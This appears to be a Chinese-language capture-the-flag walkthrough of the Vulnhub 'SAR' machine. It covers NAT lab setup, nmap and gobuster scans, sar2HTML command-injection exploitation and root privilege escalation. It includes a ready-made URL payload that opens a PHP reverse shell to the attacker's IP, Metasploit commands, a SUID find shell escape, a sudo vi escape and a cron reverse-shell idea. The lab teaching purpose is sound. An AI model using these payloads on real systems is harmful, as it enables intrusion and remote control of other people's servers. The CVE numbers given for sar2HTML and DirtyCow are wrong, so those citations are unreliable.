1. 项目概述与靶机环境搭建
最近在Vulnhub上发现一个名为“SAR”的靶机,它因一个经典的sar2HTML组件漏洞而闻名,是练习Web应用渗透和权限提升的绝佳目标。这个靶机模拟了一个存在已知漏洞的服务器环境,对于想从基础开始,理解漏洞利用完整链条的朋友来说,非常有价值。整个项目不仅涉及漏洞的发现与利用,还绕不开一个前期关键步骤:如何正确配置虚拟机的网络,特别是NAT模式,确保你的攻击机(比如Kali Linux)能和靶机正常通信。很多新手往往卡在这一步,看着靶机却“打”不进去。所以,这篇内容我会从最底层的网络配置讲起,手把手带你搭建好实验环境,然后一步步深入,直到最终拿到靶机的最高权限。无论你是刚开始接触渗透测试,还是想巩固一下基础流程,都能从这里获得清晰的指引和可复现的操作。
2. 核心思路与攻击路径规划
面对一个未知的靶机,盲目的扫描和测试效率很低。我们需要一个清晰的攻击思路。SAR靶机的核心突破口在于其Web服务中集成了一个存在漏洞的组件:sar2HTML。我们的攻击路径可以规划为“信息收集 -> 漏洞定位与验证 -> 漏洞利用获取初始立足点 -> 权限提升拿到root”。信息收集阶段,我们需要确定靶机的IP地址和开放的端口服务,特别是Web服务。漏洞定位阶段,我们将重点检查Web应用,寻找sar2HTML的踪迹并确认其版本。利用阶段,我们会使用该版本对应的公开漏洞利用代码(Exploit)来获取一个反向Shell连接。最后,在权限提升阶段,我们需要在靶机内部寻找配置错误、SUID文件或内核漏洞等机会,将我们的用户权限提升至root。整个过程的逻辑链条非常清晰,关键在于每一步的细致操作和对反馈信息的正确解读。
2.1 为什么选择NAT网络模式?
在虚拟机环境中,网络连接方式主要有桥接(Bridged)、NAT和仅主机(Host-Only)。对于渗透测试实验,NAT模式是最推荐、也是最安全的选择。原因有三点:首先,隔离性。NAT模式下,靶机和你的攻击机(Kali)处于一个由虚拟机软件(如VMware或VirtualBox)创建的虚拟网络中,这个网络与你的物理主机所在的真实网络是隔离的。这意味着你的扫描和攻击行为只会在这个虚拟网络内发生,不会误伤到同一局域网下的其他真实设备,完全符合安全实验的伦理要求。其次,便利性。虚拟机软件会充当虚拟路由器(DHCP服务器),自动为靶机和Kali分配IP地址(通常是192.168.xx.xx网段),它们之间可以互相通信,同时Kali还能通过主机的网络连接访问互联网,方便我们下载工具或查找资料。最后,可预测性。在稳定的NAT网络下,IP地址段相对固定,便于我们快速定位靶机IP。
注意:有些教程可能会提到桥接模式,它让虚拟机直接接入物理网络,获得一个和物理机同网段的真实IP。这在需要模拟外部攻击时有用,但对于Vulnhub这类个人实验靶机,NAT模式完全足够且更安全,避免了IP冲突和潜在的网络策略限制。
2.2 靶机与攻击机环境准备
工欲善其事,必先利其器。我们需要准备两台虚拟机。
- 攻击机(Kali Linux):这是我们的“武器库”。建议从官方网站下载最新的Kali Linux镜像,并使用VMware或VirtualBox安装。安装时,网络适配器直接选择“NAT模式”。安装完成后,启动Kali,在终端输入
ip a或ifconfig命令,查看并记录下自动获取的IP地址(例如192.168.1.10)。同时,确保系统更新到最新:sudo apt update && sudo apt upgrade -y。 - 靶机(Vulnhub SAR):从Vulnhub官网搜索并下载“SAR”靶机的OVA或压缩包文件。下载后,直接导入到你的虚拟机软件中。关键步骤来了:导入后,先不要启动靶机。右键点击靶机,进入“设置”(或“配置”)。找到“网络”选项,将网络适配器也修改为“NAT模式”。在某些版本(如VMware)中,你可能会看到一个“高级”选项,点击后可以手动“生成”一个新的MAC地址,这有助于避免潜在的冲突,点击“生成”然后确认即可。完成这些设置后,再启动靶机。
启动后,我们需要知道靶机的IP地址。由于NAT模式下是DHCP自动分配,我们无法预先知道。这时,需要在攻击机(Kali)上进行扫描发现。
3. 信息收集与目标侦察
在发动任何“攻击”之前,充分的侦察是成功的一半。这个阶段的目标是绘制出靶机的网络地图:它在哪里(IP地址)?它开了哪些门(开放端口)?这些门后面是什么(运行的服务)?
3.1 网络扫描定位靶机IP
首先,我们需要找出靶机在虚拟网络中的IP地址。最常用的工具是nmap。我们先扫描整个NAT网段。
- 确定扫描范围:在Kali上,用
ip a查看自己的IP,假设是192.168.1.10,那么子网很可能就是192.168.1.0/24。 - 进行存活主机扫描:打开终端,输入命令:
这个sudo nmap -sn 192.168.1.0/24-sn参数代表 Ping 扫描,只探测主机是否在线,不扫描端口。命令执行后,nmap会列出所有在线的主机。除了你的Kali(192.168.1.10)和可能的网关(192.168.1.1或2),那个新出现的、主机名可能包含“sar”或未知的IP,就是我们的靶机。假设我们发现了192.168.1.15。
3.2 端口与服务深度扫描
找到IP后,下一步是进行全面的端口扫描,了解靶机对外开放了哪些服务。
sudo nmap -sS -sV -O -p- 192.168.1.15这个命令组合非常强大:
-sS: 进行TCP SYN半开放扫描,速度快且相对隐蔽。-sV: 探测端口上运行的服务及其版本信息,这对寻找漏洞至关重要。-O: 尝试识别靶机的操作系统。-p-: 扫描所有65535个端口,确保没有遗漏。
扫描完成后,我们会得到一份详细的报告。对于SAR靶机,典型的扫描结果会显示开放了两个端口:
- 端口 22/tcp: 运行着OpenSSH服务。这是远程管理端口,通常是我们尝试暴力破解或利用SSH漏洞的地方,但往往不是最易突破的点。
- 端口 80/tcp: 运行着Apache httpd服务。这就是我们的主攻方向——Web应用。
报告里还会显示Apache的版本号,以及更重要的信息:网站标题或者某些目录线索。此时,我们应该立即用浏览器访问http://192.168.1.15,进行人工查看。
3.3 Web应用目录与敏感文件发现
访问靶机的Web页面,可能会看到一个默认的Apache页面或者一个简单的应用界面。我们需要使用工具进行更深层次的目录和文件枚举,寻找隐藏的入口点,比如管理后台、配置文件、备份文件等。这里使用gobuster或dirb。
gobuster dir -u http://192.168.1.15 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdir: 指定进行目录爆破模式。-u: 指定目标URL。-w: 指定字典文件,这里使用了Kali自带的常见目录字典。-x: 指定尝试的文件扩展名,如php、html等。
扫描结果中,一个名为/sar2HTML的目录极有可能出现。这立刻将我们的注意力引向了标题中提到的sar2HTML组件。访问http://192.168.1.15/sar2HTML,如果能看到一个系统监控图表页面,并且在页面底部或帮助信息中看到类似“sar2HTML Version 3.2.1”的字样,那么漏洞目标就基本确认了。
4. 漏洞分析与利用:突破sar2HTML
找到疑似存在漏洞的组件后,我们不能盲目行动,需要先分析漏洞原理,再寻找或制作利用工具。
4.1 sar2HTML漏洞(CVE-2007-3999)原理浅析
sar2HTML 是一个用PHP编写的、用于可视化系统性能数据(sar命令输出)的工具。在3.2.1及之前的版本中,存在一个致命的**远程代码执行(RCE)**漏洞。漏洞根源在于其index.php文件对用户传入的参数过滤不严。
简单来说,该应用通过plot参数来指定生成图表的数据文件。攻击者可以通过构造特殊的plot参数值,例如|ls -la,利用PHP的popen()或system()等函数执行系统命令。管道符|在Unix/Linux中用于将前一个命令的输出作为后一个命令的输入,而sar2HTML错误地将其传递给了系统Shell执行,从而导致任意命令执行。
4.2 利用Metasploit框架进行自动化攻击
对于这类有公开Exploit的经典漏洞,使用Metasploit框架可以快速、稳定地完成利用。Metasploit内集成了针对该漏洞的利用模块。
- 启动Metasploit:在Kali终端输入
msfconsole。 - 搜索模块:在msf6提示符下输入
search sar2html。通常会找到一个名为exploit/linux/http/sar2html_exec的模块。 - 使用模块:
use exploit/linux/http/sar2html_exec - 设置参数:
set RHOSTS 192.168.1.15 # 设置靶机IP set TARGETURI /sar2HTML # 设置漏洞路径,如果就在根目录则不用设 - 选择Payload:我们需要一个反向Shell,让靶机主动连接回我们的攻击机。
set payload php/meterpreter/reverse_tcp set LHOST 192.168.1.10 # 设置Kali的IP,用于接收连接 set LPORT 4444 # 设置监听端口 - 执行攻击:
如果一切顺利,你会看到exploit[*] Sending stage ...和[*] Meterpreter session 1 opened的提示,表示已经成功在靶机上执行了代码,并建立了一个Meterpreter会话。输入shell命令,就可以获得一个靶机的交互式命令行(Shell),通常是一个www-data用户的权限(Apache服务运行账户)。
实操心得:使用Metasploit时,
LHOST参数必须正确设置为攻击机(Kali)在NAT网络内的IP,而不是物理机的IP。这是新手最容易出错的地方之一。如果exploit后长时间没反应,可以检查LHOST设置,并确保Kali上没有防火墙阻挡4444端口的入站连接。
4.3 手动利用与脚本分析
除了Metasploit,理解手动利用过程也很有价值。我们可以从Exploit-DB等网站找到公开的Python利用脚本。使用脚本前,最好简单阅读一下代码。一个典型的手动利用步骤是:
- 在Kali上使用
nc(Netcat) 监听一个端口:nc -lvnp 4444。 - 构造一个特殊的URL,通过
plot参数执行反向Shell命令。例如:
这个URL访问后,会尝试让靶机执行PHP代码,连接到Kali的4444端口,并弹回一个Shell。http://192.168.1.15/sar2HTML/index.php?plot=;php+-r+'$sock=fsockopen("192.168.1.10",4444);exec("/bin/sh+-i+<&3+>&3+2>&3");' - 如果成功,在
nc的监听窗口就会看到靶机的Shell提示符。
手动利用的成功率受环境(如PHP函数禁用情况)影响较大,而Metasploit的模块通常经过了更多测试和适配。
5. 权限提升:从www-data到root
拿到初始Shell(www-data用户)只是第一步,这个权限通常很低,无法读取敏感文件(如/etc/shadow)或进行系统级操作。我们的最终目标是root权限。这个过程称为权限提升(Privilege Escalation)。
5.1 内部信息收集
在靶机内部,我们需要收集尽可能多的信息来寻找提权线索。以下是一些关键命令:
id: 查看当前用户和所属组。uname -a: 查看系统内核版本,用于寻找内核漏洞。sudo -l:非常重要!查看当前用户可以使用sudo执行哪些命令。如果配置不当,可能允许以root身份运行特定程序。find / -type f -perm -4000 2>/dev/null: 查找具有SUID权限的文件。SUID文件在执行时,会以文件所有者的身份运行。如果找到一个属主是root且可写的SUID文件,可能就是突破口。cat /etc/crontab: 查看系统定时任务。是否有以root身份运行的、我们可以修改或影响的脚本?ps aux: 查看运行中的进程,寻找异常或以root运行的服务。netstat -tulpn: 查看网络连接和监听端口,寻找内部服务。
5.2 常见提权路径实战
在SAR靶机中,经过枚举,我们可能会发现以下几种典型的提权路径之一:
路径一:利用配置不当的SUID文件执行find / -type f -perm -4000 2>/dev/null后,仔细检查列表。常见的危险SUID程序有nmap(旧版本)、vim、bash、find、cp、mv等。例如,如果发现/usr/bin/find有SUID位且属主是root,可以尝试利用其执行命令:
/usr/bin/find . -exec /bin/bash -p \; -quit这里的-exec参数允许执行命令,-p参数会让bash保留特权。执行后,可能直接获得一个root shell。
路径二:利用sudo权限滥用运行sudo -l后,如果返回显示当前用户(www-data)可以以root身份无需密码运行某个命令,例如/usr/bin/vi,那么:
sudo vi /etc/passwd在vi中,可以通过:!bash或:shell命令逃逸到Shell,因为这个Shell是由sudo启动的vi衍生的,所以具有root权限。
路径三:利用内核漏洞如果uname -a显示内核版本较老,可以搜索对应的本地提权漏洞(如DirtyCow, CVE-2016-5199)。在Kali上找到对应的Exploit代码(C语言),编译后上传到靶机(可以用Python的HTTP模块在Kali起一个简易服务器python3 -m http.server 8000,然后在靶机用wget下载),编译执行即可。但这种方法风险较高,可能造成系统崩溃,在靶机环境中最后尝试。
路径四:利用定时任务(Cron Job)查看/etc/crontab,如果发现有一个以root身份定期运行的脚本,且这个脚本的路径我们(www-data用户)有写入权限,那么我们可以替换这个脚本的内容。例如,写入一个反向Shell命令到脚本中,等待Cron执行,我们就能收到一个root权限的Shell连接。
在SAR靶机的实际渗透中,通常会发现一条比较清晰的提权路径。例如,可能在/home目录下发现其他用户的目录,里面有可读的备份文件或脚本,其中包含了密码信息或者密钥。又或者,通过枚举发现了一个非root用户,并且通过查看其历史命令(.bash_history)或配置文件,找到了可以sudo执行的命令。
5.3 获取最终Flag
在Vulnhub的靶机中,最终目标往往是找到“flag”,通常是一个位于/root目录下名为flag.txt或proof.txt的文件。当我们通过上述任何一种方法成功将权限提升到root后,就可以直接读取这个文件了。
cat /root/flag.txt看到文件内容,就意味着整个渗透测试挑战成功完成。
6. 渗透测试后的清理与反思
成功拿到flag并不是终点。一个专业的渗透测试行为,还包括(在授权范围内)清理痕迹,并撰写报告。对于我们的实验环境:
- 清理痕迹:检查我们上传的工具、创建的临时文件、修改的系统配置(如crontab、webshell等),并尽可能将其恢复原状。在Meterpreter会话中,可以使用
rm命令删除上传的文件。 - 反思总结:回顾整个流程。哪里遇到了问题?是如何解决的?sar2HTML漏洞的根源是什么?如何防御?(例如:及时更新或移除有漏洞的组件;对用户输入进行严格过滤和校验)。提权利用的点是什么?是配置错误还是软件漏洞?对应的安全加固措施是什么?(例如:遵循最小权限原则,定期审计SUID文件和sudo权限,保持系统和内核更新)。
这个过程不仅能巩固技术,更能培养安全思维。每一次对靶机的攻克,都是对攻击者视角的一次体验,而这最终是为了更好地从防御者角度去构建安全体系。
7. NAT网络疑难杂症与排查指南
即便按照步骤操作,网络问题仍是最常见的“拦路虎”。这里汇总一些在NAT模式下可能遇到的问题及解决方法。
问题1:Kali能上网,但扫描不到靶机IP。
- 排查:确认两台虚拟机的网络适配器是否都设置为“NAT模式”(而非“NAT网络”或“桥接”)。在VMware中,确保它们连接到“相同的网络”(如VMnet8)。
- 解决:在Kali上尝试扫描更大的网段,比如
192.168.0.0/16。使用arp-scan工具可能更直接:sudo arp-scan --localnet。最根本的方法是查看靶机的控制台,在登录界面往往能看到分配的IP地址。
问题2:能扫描到靶机IP,但端口扫描显示所有端口都关闭或过滤。
- 排查:首先确认靶机是否完全启动完毕(等待几分钟)。其次,检查靶机自身的防火墙是否开启。在SAR靶机里,可能默认开启了
iptables或ufw。 - 解决:这通常是靶机设计的一部分,可能需要你先从开放的80端口Web服务入手。如果确定是防火墙,且你有其他途径(如虚拟机控制台)操作靶机,可以尝试关闭防火墙(实验环境):
sudo ufw disable或sudo iptables -F。
问题3:Metasploit exploit执行后,session创建失败。
- 排查:这是最复杂的情况。分步检查:
- Payload兼容性:靶机是x86还是x64?PHP版本是多少?尝试更换Payload,比如用
php/reverse_php替代php/meterpreter/reverse_tcp。 - 网络连通性:在Kali上
telnet 靶机IP 80,看Web服务是否真的可访问。在靶机(如果能有简单命令执行)上尝试ping Kali_IP。 - 反连端口被阻:尝试更换
LPORT为其他高端口(如443、53、8080),有些环境会过滤非常用端口。 - Exploit模块问题:尝试使用
check命令验证漏洞是否存在(并非所有模块支持)。也可以搜索其他非Metasploit的手动利用脚本。
- Payload兼容性:靶机是x86还是x64?PHP版本是多少?尝试更换Payload,比如用
问题4:获得Shell后,连接不稳定或立即中断。
- 解决:这是非交互式Shell的常见问题。使用Python快速建立一个更稳定的TTY Shell:
或者python3 -c 'import pty; pty.spawn("/bin/bash")'
如果Python可用,这是首选方法。/bin/bash -i
问题5:WSL2中的Kali与VMware中的靶机无法通信。
- 背景:如果你在Windows上用WSL2运行Kali,用VMware运行靶机,由于两者处于不同的虚拟网络层,默认无法直接通信。
- 解决:这不是NAT配置问题,而是混合虚拟化环境的问题。最可靠的解决方案是避免混用。要么全部使用VMware(Kali和靶机都用VMware虚拟机),要么全部使用VirtualBox。如果必须混用,需要将VMware靶机的网络设置为“桥接模式”,并确保它与Windows主机在同一物理网络段,然后在WSL2的Kali中尝试访问Windows主机的IP段。这个过程非常复杂且不稳定,强烈不建议新手采用。
网络问题是渗透测试实验的基础,耐心按照“检查配置 -> 验证连通性 -> 分层排查”的思路,大部分问题都能解决。记住,在虚拟网络里,确保攻击机和靶机在同一个“虚拟交换机”下,是通信成功的第一前提。